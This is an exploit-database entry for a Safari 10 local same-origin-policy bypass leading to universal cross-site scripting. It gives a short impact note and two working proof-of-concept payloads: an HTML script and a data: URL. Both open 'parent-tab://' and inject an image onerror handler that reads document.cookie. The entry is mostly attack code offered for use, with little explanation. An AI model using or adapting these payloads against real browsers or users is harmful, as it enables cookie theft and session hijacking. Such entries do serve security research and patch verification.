Safari 10 Local SOP bypass Vulnerability

ID 1337DAY-ID-28744
Type zdt
Reporter Bo0oM
Modified 2017-10-05T00:00:00


Exploit for macOS platform in category local exploits

                                            Safari 10 Local SOP bypass Vulnerability


Impact: Processing maliciously crafted web content may lead to universal cross site scripting

Description: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.
Safari 10
Local SOP bypass

<script> function Pew(){var doc=open('parent-tab://');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button>

Exploit by Frans Rosén

data:text/html,<script>function y(){x=open('parent-tab://','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.cookie)">'};setTimeout(y,100)</script>

# [2018-04-14]  #